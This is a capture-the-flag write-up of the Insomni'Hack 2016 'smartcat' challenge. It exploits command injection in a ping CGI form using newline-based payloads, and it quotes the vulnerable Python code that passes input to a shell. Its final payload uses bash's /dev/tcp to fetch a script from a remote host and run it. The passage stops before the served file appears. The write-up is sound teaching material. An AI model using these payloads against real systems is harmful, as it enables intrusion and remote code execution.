Insomni'Hack Teaser 2016 - smartcat

by
pogliamarci
on January 16, 2016
under InsomniHack

4 minute read ·

In the smartcat challenge, we were given a tiny web
application with just a single functionality: a form that allows
to remotely ping an arbitrary host (yeah, that is the most classical
example of shell command injection!).
The challenge is divided in two parts (smartcat1 and smartcat2).
Although not difficult, it was quite fun, especially the second part.

smartcat1 (50 points)

Damn it, that stupid smart cat litter is broken again! Now only the debug interface is available here and this stupid thing only permits one ping to be sent! I know my contract number is stored somewhere on that interface but I can’t find it and this is the only available page! Please have a look and get this info for me!

Pointing a browser to the debug interface, we are greeted with a form that
accepts a single parameter and
prints what seems the output of the Linux ping command. In fact, pinging
a non-existent host gives the message Error running ping -c 1.
Trying a trivial injection fails, and the error reveals that there is a blacklist
of allowed characters in the request string.
Good, otherwise the challenge would not have been fun at all!

After a few tries, we notice that the newline character (0x0A) is not blacklisted:
we are able to retrieve the path and content of the current directory with a POST
request to index.cgi, using %0apwd%0als as the dest parameter (i.e., the host to ping).
This leads to this output:

/var/www/cgi-bin
index.cgi
there

Likely, the flag is in there, which is a directory. Unfortunately, the whitespace
character is blacklisted, so can’t use the ls command to list the contents.
To overcome this issue, we used find (without any argument) to recurse into
the subdirectories of the current directory and list their content.
Doing a request with dest=%0afind as a parameter leads to:

By the way, using cat we can also retrieve the web application source code (dest=%0acat<index.cgi).
It is a simple Python CGI script, which filters the input according to a blacklist:

blacklist = " $;&|({`\t"

and then passes it to the ping command without further sanitization:

results = subprocess.check_output("ping -c 1 "+dest, shell=True)

smartcat2 (50 points)

Almost there, but now you should be able to do better than a cat (sorry about the pun). I’m sure you can leverage the previous bug to get a shell. Go on that debug interface again and read the flag in /home/smartcat/

Now we are told that the flag is in /home/smartcat.
As we can’t use whitespaces, we need a smarter way to cd to that directory and list the content: using dest=%0aHOME=/home/smartcat%0acd%0als does the trick, and reveals that the directory contains two files:

flag2
readflag

We don’t have the permissions to read flag2, but we can read and execute readflag (which is an executable binary).
Running it, we are greeted with this message:

Almost there… just trying to make sure you can execute arbitrary commands….
Write ‘Give me a…’ on my stdin, wait 2 seconds, and then write ‘… flag!’.
Do not include the quotes. Each part is a different line.

At this point, we decided to use some bash-fu to retrieve and execute
a file from a remote host.
We used the /dev/tcp bashism to retrieve a script from an remote host, and give it
as an input to bash:

bash <<EOF
bash < /dev/tcp/127.0.0.1/9000
EOF
ls

a.k.a. dest=%0Abash<<EOF%0Abash</dev/tcp/127.0.0.1/9000%0AEOF%0Als.
We terminate the command with ls so that the CGI application receives a successful return code in any case.
Instead of 127.0.0.1, we put the address of a publicly-accessible host
which was serving the following file on TCP port 9000: